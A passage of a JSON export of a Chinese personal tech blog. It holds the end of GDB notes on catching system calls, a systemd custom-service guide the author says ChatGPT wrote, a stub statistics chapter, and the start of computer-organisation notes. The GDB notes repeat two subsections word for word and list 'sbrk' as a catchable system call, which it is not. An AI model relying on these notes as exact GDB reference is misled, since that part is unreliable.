\u0026lt;osabi\u0026gt;\u003c/code\u003e设置操作系统ABI,使用\u003ccode\u003eset solib-absolute-prefix \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库路径,使用\u003ccode\u003eadd-symbol-file \u0026lt;file\u0026gt; \u0026lt;addr\u0026gt;\u003c/code\u003e加载符号文件,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在内核中设置断点。\u003c/p\u003e\u003ch3 id=\"调试追踪系统调用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8\" class=\"headerlink\" title=\"调试追踪系统调用\"\u003e\u003c/a\u003e调试追踪系统调用\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪系统调用,可以使用\u003ccode\u003ecatch syscall \u0026lt;syscall\u0026gt;\u003c/code\u003e设置系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看系统调用断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行系统调用。\u003c/p\u003e\u003ch3 id=\"调试追踪信号\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"调试追踪信号\"\u003e\u003c/a\u003e调试追踪信号\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号,可以使用\u003ccode\u003ecatch signal \u0026lt;signal\u0026gt;\u003c/code\u003e设置信号断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号断点,使用\u003ccode\u003estepi\u003c/code\u003e单步执行信号处理函数。\u003c/p\u003e\u003ch3 id=\"调试追踪fork和exec\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AAfork%E5%92%8Cexec\" class=\"headerlink\" title=\"调试追踪fork和exec\"\u003e\u003c/a\u003e调试追踪fork和exec\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪fork和exec,可以使用\u003ccode\u003eset follow-fork-mode \u0026lt;mode\u0026gt;\u003c/code\u003e设置fork和exec的跟踪模式,使用\u003ccode\u003ecatch fork\u003c/code\u003e设置fork断点,使用\u003ccode\u003ecatch exec\u003c/code\u003e设置exec断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看fork和exec断点。\u003c/p\u003e\u003ch3 id=\"调试追踪动态内存分配\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%8A%A8%E6%80%81%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"调试追踪动态内存分配\"\u003e\u003c/a\u003e调试追踪动态内存分配\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪动态内存分配,可以使用\u003ccode\u003ecatch syscall brk\u003c/code\u003e设置brk系统调用断点,使用\u003ccode\u003ecatch syscall sbrk\u003c/code\u003e设置sbrk系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看brk和sbrk断点。\u003c/p\u003e\u003ch3 id=\"调试追踪文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪文件操作\"\u003e\u003c/a\u003e调试追踪文件操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪文件操作,可以使用\u003ccode\u003ecatch syscall open\u003c/code\u003e设置open系统调用断点,使用\u003ccode\u003ecatch syscall close\u003c/code\u003e设置close系统调用断点,使用\u003ccode\u003ecatch syscall read\u003c/code\u003e设置read系统调用断点,使用\u003ccode\u003ecatch syscall write\u003c/code\u003e设置write系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看文件操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪网络操作\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E7%BD%91%E7%BB%9C%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"调试追踪网络操作\"\u003e\u003c/a\u003e调试追踪网络操作\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪网络操作,可以使用\u003ccode\u003ecatch syscall socket\u003c/code\u003e设置socket系统调用断点,使用\u003ccode\u003ecatch syscall connect\u003c/code\u003e设置connect系统调用断点,使用\u003ccode\u003ecatch syscall accept\u003c/code\u003e设置accept系统调用断点,使用\u003ccode\u003ecatch syscall send\u003c/code\u003e设置send系统调用断点,使用\u003ccode\u003ecatch syscall recv\u003c/code\u003e设置recv系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看网络操作断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"调试追踪信号处理\"\u003e\u003c/a\u003e调试追踪信号处理\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号处理,可以使用\u003ccode\u003ecatch syscall sigaction\u003c/code\u003e设置sigaction系统调用断点,使用\u003ccode\u003ecatch syscall sigprocmask\u003c/code\u003e设置sigprocmask系统调用断点,使用\u003ccode\u003ecatch syscall sigsuspend\u003c/code\u003e设置sigsuspend系统调用断点,使用\u003ccode\u003ecatch syscall sigreturn\u003c/code\u003e设置sigreturn系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号处理断点。\u003c/p\u003e\u003ch3 id=\"调试追踪定时器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E5%AE%9A%E6%97%B6%E5%99%A8\" class=\"headerlink\" title=\"调试追踪定时器\"\u003e\u003c/a\u003e调试追踪定时器\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪定时器,可以使用\u003ccode\u003ecatch syscall timer_create\u003c/code\u003e设置timer_create系统调用断点,使用\u003ccode\u003ecatch syscall timer_settime\u003c/code\u003e设置timer_settime系统调用断点,使用\u003ccode\u003ecatch syscall timer_gettime\u003c/code\u003e设置timer_gettime系统调用断点,使用\u003ccode\u003ecatch syscall timer_delete\u003c/code\u003e设置timer_delete系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看定时器断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程状态\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E7%8A%B6%E6%80%81\" class=\"headerlink\" title=\"调试追踪进程状态\"\u003e\u003c/a\u003e调试追踪进程状态\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程状态,可以使用\u003ccode\u003ecatch syscall wait4\u003c/code\u003e设置wait4系统调用断点,使用\u003ccode\u003ecatch syscall waitpid\u003c/code\u003e设置waitpid系统调用断点,使用\u003ccode\u003ecatch syscall waitid\u003c/code\u003e设置waitid系统调用断点,使用\u003ccode\u003ecatch syscall exit\u003c/code\u003e设置exit系统调用断点,使用\u003ccode\u003ecatch syscall _exit\u003c/code\u003e设置_exit系统调用断点,使用\u003ccode\u003ecatch syscall kill\u003c/code\u003e设置kill系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程状态断点。\u003c/p\u003e\u003ch3 id=\"调试追踪信号量和共享内存-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%92%8C%E5%85%B1%E4%BA%AB%E5%86%85%E5%AD%98-1\" class=\"headerlink\" title=\"调试追踪信号量和共享内存\"\u003e\u003c/a\u003e调试追踪信号量和共享内存\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪信号量和共享内存,可以使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看信号量和共享内存断点。\u003c/p\u003e\u003ch3 id=\"调试追踪进程间通信-1\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E8%BF%BD%E8%B8%AA%E8%BF%9B%E7%A8%8B%E9%97%B4%E9%80%9A%E4%BF%A1-1\" class=\"headerlink\" title=\"调试追踪进程间通信\"\u003e\u003c/a\u003e调试追踪进程间通信\u003c/h3\u003e\u003cp\u003eGDB可以调试追踪进程间通信,可以使用\u003ccode\u003ecatch syscall msgget\u003c/code\u003e设置msgget系统调用断点,使用\u003ccode\u003ecatch syscall msgsnd\u003c/code\u003e设置msgsnd系统调用断点,使用\u003ccode\u003ecatch syscall msgrcv\u003c/code\u003e设置msgrcv系统调用断点,使用\u003ccode\u003ecatch syscall semget\u003c/code\u003e设置semget系统调用断点,使用\u003ccode\u003ecatch syscall semop\u003c/code\u003e设置semop系统调用断点,使用\u003ccode\u003ecatch syscall semctl\u003c/code\u003e设置semctl系统调用断点,使用\u003ccode\u003ecatch syscall shmget\u003c/code\u003e设置shmget系统调用断点,使用\u003ccode\u003ecatch syscall shmat\u003c/code\u003e设置shmat系统调用断点,使用\u003ccode\u003ecatch syscall shmdt\u003c/code\u003e设置shmdt系统调用断点,使用\u003ccode\u003ecatch syscall shmctl\u003c/code\u003e设置shmctl系统调用断点,使用\u003ccode\u003einfo catch\u003c/code\u003e查看进程间通信断点。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Linux添加自定义服务","time":"2023-03-13T13:06:51Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e本文由chatGPT生成,看了下没啥问题\u003cbr/\u003e别问为啥不自己写,问就是懒(\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在Linux中,您可以通过添加自定义服务文件来将自定义脚本作为服务启动。下面是添加自定义服务文件的一般步骤:\u003c/p\u003e\u003col\u003e\u003cli\u003e创建一个新的服务文件\u003cbr/\u003e在/etc/systemd/system目录中创建一个新的服务文件,文件名以.service结尾。例如,如果您想创建一个名为my-service的服务文件,可以使用以下命令:\u003c/li\u003e\u003c/ol\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo vi /etc/systemd/system/my-service.service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"2\"\u003e\u003cli\u003e编写服务文件\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在创建的服务文件中,至少需要包含以下三个部分:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[Unit]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDescription=My Custom Service\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAfter=network.target\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Service]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eUser=root\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eType=simple\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eExecStart=/path/to/my-script\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[Install]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWantedBy=multi-user.target\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003cstrong\u003eUnit\u003c/strong\u003e部分包含服务的描述和启动顺序,\u003cstrong\u003eService\u003c/strong\u003e部分包含服务的用户、类型和执行命令,\u003cstrong\u003eInstall\u003c/strong\u003e部分包含服务的安装目标。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e重新加载systemd配置\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在编辑完服务文件后,需要重新加载systemd配置,以便它能够识别新的服务文件。可以使用以下命令重新加载systemd配置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl daemon-reload\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003e启动服务\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e您可以使用以下命令启动新创建的服务:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl start my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e将服务设置为开机启动\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e如果您希望系统在启动时自动启动新创建的服务,可以使用以下命令将其设置为开机启动:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,您已经成功添加了一个新的自定义服务,并且可以随时使用systemd管理该服务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9C%8D%E5%8A%A1/"},{"title":"第五章:数理统计初步","time":"2023-02-21T09:15:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这研究的是总体和来自总体的任意一组样本的关系。例如,如何通过样本估算总体的统计量这样的问题,就可以通过数理统计解决。\u003c/p\u003e\u003ch2 id=\"基本概念和定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"基本概念和定义\"\u003e\u003c/a\u003e基本概念和定义\u003c/h2\u003e\u003ch2 id=\"抽样分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%8A%BD%E6%A0%B7%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"抽样分布\"\u003e\u003c/a\u003e抽样分布\u003c/h2\u003e\u003cp\u003e就是统计量的分布,一共有四种。\u003c/p\u003e\u003ch2 id=\"参数估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%8F%82%E6%95%B0%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"参数估计\"\u003e\u003c/a\u003e参数估计\u003c/h2\u003e\u003ch3 id=\"点估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%82%B9%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"点估计\"\u003e\u003c/a\u003e点估计\u003c/h3\u003e\u003cp\u003e就是通过总体的一个样本估计总体分布中未知参数值的问题。\u003c/p\u003e\u003ch4 id=\"矩估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%9F%A9%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"矩估计法\"\u003e\u003c/a\u003e矩估计法\u003c/h4\u003e\u003cp\u003e就是用样本n阶矩估计的方法。\u003c/p\u003e\u003ch4 id=\"最大似然估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%9C%80%E5%A4%A7%E4%BC%BC%E7%84%B6%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"最大似然估计法\"\u003e\u003c/a\u003e最大似然估计法\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/"},{"title":"计组笔记:第二章-计算机数据表示","time":"2023-02-13T04:52:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e重点是定点数和浮点数的表示。数制啥的就不说了,主要还有原码补码反码这几个。\u003cstrong\u003e下面的讨论都是对于二进制数而言的\u003c/strong\u003e,因为计算机存储的结构以二进制保存原始值。\u003c/p\u003e\u003ch2 id=\"定点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%AE%9A%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"定点数\"\u003e\u003c/a\u003e定点数\u003c/h2\u003e\u003cp\u003e也就是小数点位置不动的数。有两种,纯整数(小数点在最右侧)、纯小数(小数点在最左侧)。分为有/无符号数,前者具有\u003ccode\u003e原码、反码、补码、移码\u003c/code\u003e四种编码表示。\u003c/p\u003e\u003cp\u003e有符号数的最高位为符号位,\u003ccode\u003e0正1负\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"原码反码和补码\"\u003e\u003ca 